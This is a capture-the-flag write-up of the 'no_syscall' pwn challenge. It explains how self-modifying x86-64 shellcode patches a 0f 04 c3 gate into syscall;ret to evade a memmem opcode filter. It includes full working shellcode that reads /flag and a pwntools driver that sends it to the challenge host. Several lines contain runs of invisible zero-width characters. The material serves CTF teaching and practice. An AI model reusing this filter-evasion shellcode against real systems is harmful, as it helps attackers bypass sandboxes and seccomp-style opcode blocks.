← Back to Writeups
CUSTOMMediumpwn

no_syscall

XESXOR9/2/20264 min read
#pwn#custom#medium#runtime_opcode_construction#self_modifying_shellcode#stack_string_push#syscall_gate_patch

no_syscall

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: runtime_opcode_construction, self_modifying_shellcode, stack_string_push, syscall_gate_patch

Summary

Task: 64-bit NON-PIE shellcode runner that mmaps an RWX page, reads up to 0x1000 bytes, but blocks input via memmem scan for the literal SYSCALL opcode (0f 05). Solution: self-modifying shellcode — embed a harmless 0f 04 c3 gate, inc byte [gate+1] at runtime to forge 0f 05 (syscall;ret), then call gate for open/read/write of /flag; submitted input never literally contains 0f 05.

no_syscall — pwn_spbctf (pwn4 "shellcoding")

Description

64-bit x86-64 ELF, NON-PIE (0x400000), NX, no canary. The binary mmaps its own RWX page so shellcode runs, but a filter blocks the syscall opcode. Remote: nc 109.233.56.90 11614

A classic shellcode runner with a twist: the program gives you a writable+executable page and lets you run arbitrary shellcode, but it scans your submitted bytes for the 2-byte x86-64 SYSCALL opcode (0F 05) and refuses to run if it is present anywhere in the input. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

main @ 0x401180 does roughly:

c
page = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC /*7*/, MAP_PRIVATE|MAP_ANON /*0x22*/, -1, 0);
puts("[?] Gimme shellcode:");
read(0, page, 0x1000);                  // up to 0x1000 shellcode bytes
if (memmem(page, 0x1000, "\x0f\x05", 2)) // scan whole page for SYSCALL opcode
    { puts("[e] syscall found (0f 05)"); exit(1); }
puts("[+] executing shellcode");
((void(*)())page)();                     // call page

Key constraints:

  • NON-PIE @ 0x400000, NX on the stack, no canary — but the mmap'd page is RWX, so shellcode executes and, crucially, can rewrite itself.
  • The PLT only has puts/read/mmap/memmem — no file-read libc helpers and no libc base leak. There is no way to read /flag without issuing real syscalls (open/read/write).
  • But the literal bytes 0F 05 may not appear anywhere in the input that memmem scans. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So we must execute syscall instructions whose opcode bytes are not present in the submitted payload.

The trap

The naive fix "write the opcode at runtime" is itself a trap:

asm
mov word [gate], 0x050f   ; WRONG — imm16 0x050f is encoded little-endian as bytes  66 c7 ... 0f 05

The immediate 0x050f is emitted into the instruction stream as the bytes 0f 05, so memmem still catches it. Any instruction whose machine encoding (immediate / displacement / operand) contains 0f 05 is forbidden. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Self-modifying shellcode. Place a harmless 3-byte gate 0F 04 C3 in the payload (0F 04 is not a valid/blacklisted opcode pair — it is not 0F 05 — and C3 is ret). At runtime, increment the second byte from 0x04 to 0x05, turning the gate into syscall ; ret. Then call gate for every syscall.

The patching instruction is inc byte [rbx+1] (FE 43 01) — it carries no 0f 05 in its own encoding. The forbidden opcode only ever exists in memory after self-modification, never in the bytes memmem scanned. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Working shellcode (sc_no_syscall.asm, assembled with nasm -f bin)

asm
BITS 64
default rel

start:
    ; patch the syscall gate: slot has bytes 0f 04 c3 -> inc 04 to 05
    lea rbx, [gate]
    inc byte [rbx+1]          ; 0x04 -> 0x05 : gate now `syscall ; ret`

    ; open("/flag", O_RDONLY)
    mov rax, 0x67616c662f     ; "/flag" little-endian
    push rax
    mov rdi, rsp              ; rdi -> "/flag\0"
    xor rsi, rsi              ; O_RDONLY
    xor rdx, rdx
    mov rax, 2                ; SYS_open
    call gate
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    ; read(fd, buf, 0x100)
    mov rdi, rax
    lea rsi, [buf]
    mov rdx, 0x100
    xor rax, rax              ; SYS_read
    call gate

    ; write(1, buf, n)
    mov rdx, rax
    mov rdi, 1
    lea rsi, [buf]
    mov rax, 1               ; SYS_write
    call gate

    ; exit(0)
    xor rdi, rdi
    mov rax, 60
    call gate

gate:
    db 0x0f
    db 0x04                  ; patched -> 0x05 at runtime => `syscall`
    db 0xc3                  ; ret

buf:
    times 0x100 db 0

The gate bytes appear in the assembled payload as 0f 04 c3 (offset 0x66), never 0f 05: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

00000060: e800 0000 000f 04c3 ...   <- gate = 0f 04 c3 (harmless)

b"\x0f\x05" not in payload holds — confirmed before sending.

Exploit driver

python
#!/usr/bin/env python3
from pwn import *
import os

HOST = '109.233.56.90'
PORT = 11614

here = os.path.dirname(os.path.abspath(__file__))
binpath = os.path.join(here, 'sc_no_syscall.bin')
if not os.path.exists(binpath):
    os.system(f"nasm -f bin {here}/sc_no_syscall.asm -o {binpath}")
sc = open(binpath, 'rb').read()
assert b'\x0f\x05' not in sc, "payload contains 0f05!"   # VERIFY before sending
log.info("shellcode len=%d, no 0f05 present" % len(sc))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)
io.recvuntil(b'Gimme shellcode:')
io.send(sc)
io.recvuntil(b'executing shellcode')
data = io.recvall(timeout=5)
print(b"OUTPUT: " + data)
io.close()

Running this prints [+] executing shellcode followed by the contents of /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍